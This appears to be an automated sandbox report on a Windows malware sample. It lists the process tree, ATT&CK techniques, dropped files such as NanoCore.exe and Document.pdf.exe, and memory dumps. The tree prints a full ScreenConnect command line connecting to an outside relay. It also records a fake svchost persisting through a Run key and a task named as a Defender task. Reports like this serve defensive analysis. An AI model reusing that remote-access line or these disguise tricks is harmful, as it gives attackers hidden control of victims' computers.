C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 581E4BD12AA28FA3807A44C71D77D2B0 C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI48E1.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240798140 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 8784EA2D1F496449319C4453DBA142BB2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding FE9B91F23E23665FA4904551F42C1A47 E Global\MSI00002⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
-
C:\Users\Admin\AppData\Local\Temp\a\svchost.exeC:\Users\Admin\AppData\Local\Temp\a\svchost.exe1⤵
- Checks computer location settings
- Adds Run key to start application
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"2⤵
-
-
C:\ProgramData\cbdbbbbacac.exeC:\ProgramData\cbdbbbbacac.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Program Files (x86)\ScreenConnect Client (fdfd0a695c233744)\ScreenConnect.ClientService.exe"C:\Program Files (x86)\ScreenConnect Client (fdfd0a695c233744)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-zfjpoa-relay.screenconnect.com&p=443&s=49ba1f29-1465-4591-aa3e-264d104f8c9d&k=BgIAAACkAABSU0ExAAgAAAEAAQA1hjCNAcTgbMZxOj2M5NNY6j3E39lp8qC7C%2bI9XUZ%2fETGBnRWrLHL2pFhoooqwloTFeHfPFdi2cSRL9c9NbKZPdxgpRUT4N7kRfd3Qr%2bEUeeMGBt%2frfjdOXVpYOWos5Ho2h3QWXdE65PBkdwPVV7TM%2fw091Gb9OLUGKNPzHP4ae97g3tOxTP9JJYS757taLZGkwRXeeQwgUdUmHHAlsWm9lhYZ7aaFjkbw0Gpwb7IxNwinB3COvBHKXEfHBGVp4yO68xl4ISn%2fn7CpHAxXOhD92Gugl%2brJ0sewvhnDYe1EGW%2fWCFYMhD8%2fRx1SY0Ts0juCd9j9X%2fMsAcrDKNjG2pTb"1⤵
- Sets service image path in registry
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
-
C:\Program Files (x86)\ScreenConnect Client (fdfd0a695c233744)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (fdfd0a695c233744)\ScreenConnect.WindowsClient.exe" "RunRole" "cee2d025-7558-4e95-8cf5-3d7ddad21027" "User"2⤵
- Suspicious use of SendNotifyMessage
-
-
C:\Program Files (x86)\ScreenConnect Client (fdfd0a695c233744)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (fdfd0a695c233744)\ScreenConnect.WindowsClient.exe" "RunRole" "8d805a5e-2fcb-472b-b9ed-badf8805fe0a" "System"2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
-
-
C:\Users\Admin\AppData\Local\Temp\a\svchost.exeC:\Users\Admin\AppData\Local\Temp\a\svchost.exe1⤵
- Checks computer location settings
- Adds Run key to start application
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"2⤵
-
-
C:\ProgramData\cbdbbbbacac.exeC:\ProgramData\cbdbbbbacac.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Users\Admin\AppData\Local\Temp\a\svchost.exeC:\Users\Admin\AppData\Local\Temp\a\svchost.exe1⤵
- Checks computer location settings
- Adds Run key to start application
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"2⤵
-
-
C:\ProgramData\cbdbbbbacac.exeC:\ProgramData\cbdbbbbacac.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs1⤵
- Drops file in System32 directory
-
C:\Users\Admin\AppData\Local\Temp\a\svchost.exeC:\Users\Admin\AppData\Local\Temp\a\svchost.exe1⤵
- Checks computer location settings
- Adds Run key to start application
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"2⤵
-
-
C:\ProgramData\cbdbbbbacac.exeC:\ProgramData\cbdbbbbacac.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs1⤵
- Drops file in System32 directory
-
C:\ProgramData\cbdbbbbacac.exeC:\ProgramData\cbdbbbbacac.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\svchost.exeC:\Users\Admin\AppData\Local\Temp\a\svchost.exe1⤵
- Checks computer location settings
- Adds Run key to start application
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\ProgramData\cbdbbbbacac.exeC:\ProgramData\cbdbbbbacac.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\svchost.exeC:\Users\Admin\AppData\Local\Temp\a\svchost.exe1⤵
- Checks computer location settings
- Adds Run key to start application
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\ProgramData\cbdbbbbacac.exeC:\ProgramData\cbdbbbbacac.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\svchost.exeC:\Users\Admin\AppData\Local\Temp\a\svchost.exe1⤵
- Checks computer location settings
- Adds Run key to start application
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\ProgramData\cbdbbbbacac.exeC:\ProgramData\cbdbbbbacac.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\svchost.exeC:\Users\Admin\AppData\Local\Temp\a\svchost.exe1⤵
- Checks computer location settings
- Adds Run key to start application
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\ProgramData\cbdbbbbacac.exeC:\ProgramData\cbdbbbbacac.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\svchost.exeC:\Users\Admin\AppData\Local\Temp\a\svchost.exe1⤵
- Checks computer location settings
- Adds Run key to start application
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\ProgramData\cbdbbbbacac.exeC:\ProgramData\cbdbbbbacac.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\svchost.exeC:\Users\Admin\AppData\Local\Temp\a\svchost.exe1⤵
- Checks computer location settings
- Adds Run key to start application
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Users\Admin\AppData\Local\Temp\a\svchost.exeC:\Users\Admin\AppData\Local\Temp\a\svchost.exe1⤵
- Checks computer location settings
- Adds Run key to start application
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"2⤵
-
-
C:\ProgramData\cbdbbbbacac.exeC:\ProgramData\cbdbbbbacac.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\ProgramData\cbdbbbbacac.exeC:\ProgramData\cbdbbbbacac.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\svchost.exeC:\Users\Admin\AppData\Local\Temp\a\svchost.exe1⤵
- Checks computer location settings
- Adds Run key to start application
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"2⤵
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
3Authentication Package
1Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Event Triggered Execution
3Component Object Model Hijacking
1Installer Packages
1Netsh Helper DLL
1Pre-OS Boot
1Bootkit
1Scheduled Task/Job
1Scheduled Task
1Server Software Component
1Terminal Services DLL
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
3Authentication Package
1Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Event Triggered Execution
3Component Object Model Hijacking
1Installer Packages
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
1File Deletion
1Modify Registry
4Pre-OS Boot
1Bootkit
1Subvert Trust Controls
3Install Root Certificate
2SIP and Trust Provider Hijacking
1System Binary Proxy Execution
1Msiexec
1Virtualization/Sandbox Evasion
5Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
4Credentials In Files
3Credentials in Registry
1Discovery
Browser Information Discovery
1Peripheral Device Discovery
2Query Registry
12System Information Discovery
8System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1Virtualization/Sandbox Evasion
5Replay Monitor
Loading Replay Monitor...
Downloads
e5a7d8f.rbs
FastAudioConverter.exe
FGClbJ
Local State
settings.dat
settings.dat
settings.dat
data_1
Network Persistent State
SCT Auditing Pending Reports
Sdch Dictionaries
Preferences
Secure Preferences
sync_diagnostic.log
b1c1bd0b-acb3-455a-831c-ff442851f625.tmp
Local State
Local State
Local State
8b0d4544beb97a69dbb9583fca5575a9aba6e37d.tbres
StartupProfileData-NonInteractive
webext.sc.lz4
1_240613890.exe
2_240673468.exe
3_240684218.exe
4_240691656.exe
5_240698500.exe
6_240704156.exe
7_240709671.exe
CC2KBRw1rvPl
Install.ini
CustomAction.config
Microsoft.Deployment.WindowsInstaller.dll
ScreenConnect.Core.dll
ScreenConnect.InstallerActions.dll
ScreenConnect.Windows.dll
NanoCore.exe
flag_aq.png
flag_ax.png
flag_cx.png
flag_fr.png
flag_iq.png
flag_ma.png
flag_no.png
flag_nz.png
plugins.png
VCRUNTIME140.dll
_asyncio.pyd
_bz2.pyd
_cffi_backend.cp313-win_amd64.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
api-ms-win-core-console-l1-1-0.dll
api-ms-win-core-datetime-l1-1-0.dll
api-ms-win-core-debug-l1-1-0.dll
api-ms-win-core-errorhandling-l1-1-0.dll
api-ms-win-core-fibers-l1-1-0.dll
api-ms-win-core-file-l1-1-0.dll
api-ms-win-core-file-l1-2-0.dll
api-ms-win-core-file-l2-1-0.dll
api-ms-win-core-handle-l1-1-0.dll
api-ms-win-core-heap-l1-1-0.dll
api-ms-win-core-interlocked-l1-1-0.dll
api-ms-win-core-libraryloader-l1-1-0.dll
api-ms-win-core-localization-l1-2-0.dll
api-ms-win-core-memory-l1-1-0.dll
api-ms-win-core-namedpipe-l1-1-0.dll
api-ms-win-core-processenvironment-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-1.dll
api-ms-win-core-profile-l1-1-0.dll
api-ms-win-core-rtlsupport-l1-1-0.dll
api-ms-win-core-string-l1-1-0.dll
api-ms-win-core-synch-l1-1-0.dll
api-ms-win-core-synch-l1-2-0.dll
api-ms-win-core-sysinfo-l1-1-0.dll
api-ms-win-core-timezone-l1-1-0.dll
api-ms-win-core-util-l1-1-0.dll
api-ms-win-crt-conio-l1-1-0.dll
api-ms-win-crt-convert-l1-1-0.dll
api-ms-win-crt-environment-l1-1-0.dll
api-ms-win-crt-filesystem-l1-1-0.dll
api-ms-win-crt-heap-l1-1-0.dll
api-ms-win-crt-locale-l1-1-0.dll
api-ms-win-crt-math-l1-1-0.dll
api-ms-win-crt-process-l1-1-0.dll
api-ms-win-crt-runtime-l1-1-0.dll
api-ms-win-crt-stdio-l1-1-0.dll
api-ms-win-crt-string-l1-1-0.dll
api-ms-win-crt-time-l1-1-0.dll
api-ms-win-crt-utility-l1-1-0.dll
base_library.zip
libcrypto-3.dll
libffi-8.dll
libssl-3.dll
pyexpat.pyd
python3.DLL
python313.dll
select.pyd
ucrtbase.dll
unicodedata.pyd
__PSScriptPolicyTest_aozn4m2t.5sy.ps1
02.08.2022.exe
02.08.2022.exe
31agosto.vbs
andre.vbs
e0zsJO7rjDrN
gr1DsYv3vhz2
6_240704156.tmp
_isdecmp.dll
_shfoldr.dll
setup.exe
EULA.rtf
_setup64.tmp
ioSpecial.ini
DLLWebCount.dll
nsExec.dll
FindProcDLL.dll
KillProc.dll
System.dll
registry.dll
plugins.bin
public.bin
sciter.dll
unpack1.log
.init_setting.ini
yyxJpgpjifex
n1GKnMnQjk3D.exe
data.safe.tmp
b09f2443-c519-4c09-8b6c-0f72b73271a2
AlternateServices.bin
AlternateServices.bin
data.safe.tmp
data.safe.tmp
events
2b1c2fc0-b352-49fc-829f-7e742f43947f
5b5d8d21-c37e-4a09-a97f-29a8f1fd2fcc
72448974-b35f-4841-bbb1-d2c86604dcdd
84d500ed-c79d-4755-b263-fbcde587ae6a
c1561cd6-9f9c-47e8-98b8-16b959ad0465
prefs-1.js
prefs-1.js
prefs-1.js
prefs.js
tempga.wk
config.ini
cqsj.exe
syshost.exe
Update.exe
Update.exe
e5a7d8e.msi
cache.txt
cache.txt
godisfucker[1].htm
Document.pdf.exe
memory/1060-147-0x000001E6947F0000-0x000001E6947F1000-memory.dmp
memory/1060-144-0x000001E6947F0000-0x000001E6947F1000-memory.dmp
memory/1060-150-0x000001E6947F0000-0x000001E6947F1000-memory.dmp
memory/1060-148-0x000001E6947F0000-0x000001E6947F1000-memory.dmp
memory/1060-140-0x000001E6947F0000-0x000001E6947F1000-memory.dmp
memory/1060-139-0x000001E6947F0000-0x000001E6947F1000-memory.dmp
memory/1060-149-0x000001E6947F0000-0x000001E6947F1000-memory.dmp
memory/1060-138-0x000001E6947F0000-0x000001E6947F1000-memory.dmp
memory/1060-145-0x000001E6947F0000-0x000001E6947F1000-memory.dmp
memory/1060-146-0x000001E6947F0000-0x000001E6947F1000-memory.dmp
memory/1960-351-0x00000000002C0000-0x000000000031E000-memory.dmp
memory/1960-361-0x00000000050F0000-0x0000000005694000-memory.dmp
memory/1960-362-0x0000000004BE0000-0x0000000004C72000-memory.dmp
memory/1960-4656-0x0000000005E40000-0x0000000005E7C000-memory.dmp
memory/1960-3345-0x0000000005900000-0x0000000005912000-memory.dmp
memory/1960-7936-0x0000000006120000-0x000000000612A000-memory.dmp
memory/1960-782-0x0000000004D30000-0x0000000004D96000-memory.dmp
memory/2100-8014-0x0000000000400000-0x000000000052E000-memory.dmp
memory/2100-2340-0x0000000000400000-0x000000000052E000-memory.dmp
memory/2236-30683-0x0000018101970000-0x000001810197A000-memory.dmp
memory/2244-329-0x00007FF7520F0000-0x00007FF752172000-memory.dmp
memory/2556-350-0x0000000000E30000-0x0000000000E3E000-memory.dmp
memory/2568-1452-0x00000283616E0000-0x0000028361702000-memory.dmp
memory/2888-382-0x0000000140000000-0x0000000140082000-memory.dmp
memory/3224-178-0x0000000009050000-0x000000000908A000-memory.dmp
memory/3224-239-0x00000000091D0000-0x000000000920A000-memory.dmp
memory/3224-316-0x0000000003240000-0x000000000326F000-memory.dmp
memory/3224-323-0x0000000003240000-0x000000000326F000-memory.dmp
memory/3224-172-0x0000000008F90000-0x0000000008FC4000-memory.dmp
memory/3224-176-0x0000000009050000-0x000000000908A000-memory.dmp
memory/3224-188-0x00000000091D0000-0x000000000920A000-memory.dmp
memory/3452-9905-0x0000000000400000-0x0000000000639000-memory.dmp
memory/3452-8234-0x0000000000400000-0x0000000000639000-memory.dmp
memory/4024-242-0x0000000000400000-0x00000000004051C8-memory.dmp
memory/4392-315-0x0000000140000000-0x000000014001D000-memory.dmp
memory/4568-32895-0x00007FF6EE460000-0x00007FF6EE5EB000-memory.dmp
memory/4568-273-0x00007FF6EE460000-0x00007FF6EE5EB000-memory.dmp
memory/4568-4069-0x00007FF6EE460000-0x00007FF6EE5EB000-memory.dmp
memory/4580-322-0x0000000140000000-0x000000014001D000-memory.dmp
memory/4672-371-0x0000000140000000-0x0000000140082000-memory.dmp
memory/4716-295-0x0000000010000000-0x000000001000F000-memory.dmp
memory/4716-301-0x0000000000480000-0x000000000048D000-memory.dmp
memory/4840-490-0x00000253CEA70000-0x00000253CEA71000-memory.dmp
memory/5000-355-0x00000271F6560000-0x00000271F662E000-memory.dmp
memory/5280-25774-0x00000000069B0000-0x00000000069D2000-memory.dmp
memory/5584-375-0x000001A564800000-0x000001A564887000-memory.dmp
memory/5628-249-0x0000000000CB0000-0x0000000000CBA000-memory.dmp
memory/5628-2625-0x0000000005570000-0x000000000560C000-memory.dmp
memory/5756-470-0x00000000055C0000-0x000000000575E000-memory.dmp
memory/5756-438-0x00000000055C0000-0x000000000575E000-memory.dmp
memory/5756-397-0x0000000005D80000-0x0000000006398000-memory.dmp
memory/5756-406-0x00000000055C0000-0x000000000575E000-memory.dmp
memory/5756-407-0x00000000055C0000-0x000000000575E000-memory.dmp
memory/5756-482-0x00000000055C0000-0x000000000575E000-memory.dmp
memory/5756-7919-0x0000000005950000-0x0000000005958000-memory.dmp
memory/5756-409-0x00000000055C0000-0x000000000575E000-memory.dmp
memory/5756-411-0x00000000055C0000-0x000000000575E000-memory.dmp
memory/5756-413-0x00000000055C0000-0x000000000575E000-memory.dmp
memory/5756-415-0x00000000055C0000-0x000000000575E000-memory.dmp
memory/5756-417-0x00000000055C0000-0x000000000575E000-memory.dmp
memory/5756-419-0x00000000055C0000-0x000000000575E000-memory.dmp
memory/5756-421-0x00000000055C0000-0x000000000575E000-memory.dmp
memory/5756-454-0x00000000055C0000-0x000000000575E000-memory.dmp
memory/5756-25972-0x0000000009D60000-0x0000000009EA4000-memory.dmp
memory/5756-452-0x00000000055C0000-0x000000000575E000-memory.dmp
memory/5756-423-0x00000000055C0000-0x000000000575E000-memory.dmp
memory/5756-425-0x00000000055C0000-0x000000000575E000-memory.dmp
memory/5756-427-0x00000000055C0000-0x000000000575E000-memory.dmp
memory/5756-376-0x0000000000C30000-0x0000000000CEC000-memory.dmp
memory/5756-472-0x00000000055C0000-0x000000000575E000-memory.dmp
memory/5756-431-0x00000000055C0000-0x000000000575E000-memory.dmp
memory/5756-433-0x00000000055C0000-0x000000000575E000-memory.dmp
memory/5756-435-0x00000000055C0000-0x000000000575E000-memory.dmp
memory/5756-474-0x00000000055C0000-0x000000000575E000-memory.dmp
memory/5756-440-0x00000000055C0000-0x000000000575E000-memory.dmp
memory/5756-442-0x00000000055C0000-0x000000000575E000-memory.dmp
memory/5756-444-0x00000000055C0000-0x000000000575E000-memory.dmp
memory/5756-19290-0x0000000009B00000-0x0000000009C38000-memory.dmp
memory/5756-10037-0x0000000007A40000-0x0000000007AC4000-memory.dmp
memory/5756-450-0x00000000055C0000-0x000000000575E000-memory.dmp
memory/5756-492-0x00000000055C0000-0x000000000575E000-memory.dmp
memory/5756-446-0x00000000055C0000-0x000000000575E000-memory.dmp
memory/5756-484-0x00000000055C0000-0x000000000575E000-memory.dmp
memory/5756-448-0x00000000055C0000-0x000000000575E000-memory.dmp
memory/5756-12307-0x0000000008170000-0x00000000082AC000-memory.dmp
memory/5756-456-0x00000000055C0000-0x000000000575E000-memory.dmp
memory/5756-467-0x00000000055C0000-0x000000000575E000-memory.dmp
memory/5756-468-0x00000000055C0000-0x000000000575E000-memory.dmp
memory/5756-429-0x00000000055C0000-0x000000000575E000-memory.dmp
memory/5756-480-0x00000000055C0000-0x000000000575E000-memory.dmp
memory/5756-385-0x00000000055C0000-0x0000000005764000-memory.dmp
memory/5756-476-0x00000000055C0000-0x000000000575E000-memory.dmp
memory/5756-478-0x00000000055C0000-0x000000000575E000-memory.dmp
memory/6064-259-0x000002D608570000-0x000002D6085F7000-memory.dmp
memory/6684-4053-0x00000000030A0000-0x00000000030D6000-memory.dmp
memory/6684-4205-0x00000000059E0000-0x0000000006008000-memory.dmp
memory/6824-1617-0x0000024528E80000-0x0000024529066000-memory.dmp
memory/6920-8570-0x0000000000970000-0x0000000001A9E000-memory.dmp
memory/6920-9874-0x0000000000970000-0x0000000001A9E000-memory.dmp
memory/6968-2158-0x0000000000130000-0x0000000000138000-memory.dmp
memory/7140-7921-0x00007FF6160C0000-0x00007FF61624B000-memory.dmp
memory/7140-2157-0x00007FF6160C0000-0x00007FF61624B000-memory.dmp
memory/7360-1532-0x0000000000400000-0x0000000000502000-memory.dmp
memory/7360-1533-0x0000000003060000-0x0000000003072000-memory.dmp
memory/7360-1530-0x0000000000400000-0x00000000005BC000-memory.dmp
memory/7360-4348-0x0000000000400000-0x00000000005BC000-memory.dmp
memory/7576-4461-0x0000000005A70000-0x0000000005A7E000-memory.dmp
memory/7576-3338-0x0000000000E00000-0x0000000000E16000-memory.dmp
memory/7576-3339-0x0000000005600000-0x0000000005646000-memory.dmp
memory/7584-1456-0x0000000000A60000-0x0000000000A68000-memory.dmp
memory/7760-4349-0x0000000000400000-0x00000000005BE000-memory.dmp
memory/7760-1615-0x0000000000400000-0x0000000000504000-memory.dmp
memory/7760-1614-0x0000000000400000-0x00000000005BE000-memory.dmp
memory/7988-4896-0x0000000000400000-0x00000000005BE000-memory.dmp
memory/7988-2155-0x0000000000400000-0x00000000005BE000-memory.dmp
memory/7988-2153-0x0000000000400000-0x0000000000504000-memory.dmp
memory/8048-8043-0x0000000000E50000-0x0000000004B2A000-memory.dmp
memory/8112-3602-0x0000000002060000-0x0000000002063000-memory.dmp
memory/8112-32832-0x0000000002060000-0x0000000002063000-memory.dmp
memory/8112-3604-0x0000000002060000-0x0000000002063000-memory.dmp
memory/8112-32831-0x0000000002060000-0x0000000002063000-memory.dmp
memory/8112-3605-0x0000000002060000-0x0000000002063000-memory.dmp
memory/8112-32833-0x0000000002060000-0x0000000002063000-memory.dmp
memory/8112-32834-0x0000000002060000-0x0000000002063000-memory.dmp
memory/8232-9839-0x000001982F380000-0x000001982F48E000-memory.dmp
memory/8288-3698-0x0000000002700000-0x0000000002714000-memory.dmp
memory/8288-3788-0x0000000002700000-0x0000000002714000-memory.dmp
memory/8288-4068-0x0000000002700000-0x0000000002714000-memory.dmp
memory/8288-4347-0x0000000002700000-0x0000000002714000-memory.dmp
memory/8292-4587-0x0000000000400000-0x00000000009A2000-memory.dmp
memory/8292-1969-0x0000000000400000-0x00000000009A2000-memory.dmp
memory/8292-32795-0x0000000000400000-0x00000000009A2000-memory.dmp
memory/8768-2937-0x0000000000400000-0x000000000119A000-memory.dmp
memory/8768-5202-0x0000000000400000-0x0000000001254000-memory.dmp
memory/8768-2747-0x0000000000400000-0x0000000001254000-memory.dmp
memory/8804-3104-0x0000000000970000-0x0000000001A9E000-memory.dmp
memory/8844-32854-0x0000000000600000-0x0000000000609000-memory.dmp
memory/8844-3789-0x0000000000600000-0x0000000000609000-memory.dmp
memory/8960-32981-0x0000000004B40000-0x0000000004BCE000-memory.dmp
memory/8960-32977-0x00000000026F0000-0x00000000026FA000-memory.dmp
memory/8960-32974-0x00000000026B0000-0x00000000026DE000-memory.dmp
memory/9192-7950-0x0000000006350000-0x00000000063B6000-memory.dmp
memory/9192-7958-0x0000000006430000-0x0000000006784000-memory.dmp
memory/9192-7949-0x00000000062B0000-0x00000000062D2000-memory.dmp
memory/9692-9998-0x000000006C100000-0x000000006C14C000-memory.dmp
memory/9692-10006-0x0000000006200000-0x000000000621E000-memory.dmp
memory/9692-18781-0x0000000007090000-0x00000000070A1000-memory.dmp
memory/9692-18762-0x00000000070F0000-0x0000000007186000-memory.dmp
memory/9692-9851-0x0000000005C90000-0x0000000005CDC000-memory.dmp
memory/9692-12305-0x0000000007010000-0x000000000701A000-memory.dmp
memory/9692-10008-0x0000000006E70000-0x0000000006F13000-memory.dmp
memory/9692-9840-0x00000000059C0000-0x00000000059DE000-memory.dmp
memory/9692-12298-0x0000000006FD0000-0x0000000006FEA000-memory.dmp
memory/9692-9997-0x0000000006220000-0x0000000006252000-memory.dmp
memory/11088-8041-0x0000000000B20000-0x0000000000B2C000-memory.dmp
memory/11204-32711-0x0000000005FF0000-0x000000000603C000-memory.dmp
memory/11204-32627-0x0000000005590000-0x00000000058E4000-memory.dmp
memory/13468-9886-0x0000000000400000-0x0000000000496000-memory.dmp
memory/13468-9890-0x00000000056E0000-0x0000000005822000-memory.dmp
memory/14564-18863-0x00007FF7B30A0000-0x00007FF7B3122000-memory.dmp